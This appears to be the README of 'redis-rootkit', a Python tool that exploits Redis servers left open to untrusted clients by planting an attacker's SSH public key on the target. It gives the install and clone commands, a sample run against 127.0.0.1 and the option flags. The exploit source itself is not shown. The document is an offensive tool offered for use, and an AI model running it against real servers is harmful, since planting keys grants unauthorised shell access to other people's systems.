The Redis security model is: “it’s totally insecure to let untrusted clients access the system, please protect it from the outside world yourself”. The reason is that.
redis-rootkit require redis-py to execute remote commands.
$sudo pip install redis
git clone https://github.com/gushitong/redis-rootkit
cd redis-rootkit
python redis-rootkit.py -r ~/.ssh/id_rsa.pub 127.0.0.1
- Usage: python redis-rootkit.py [OPTIONS] [TARGETS]
- -h --help: show redis-rootkit options.
- -p --port: target host port.
- -r --rsa-pub: rsa public key.
MIT LICENSE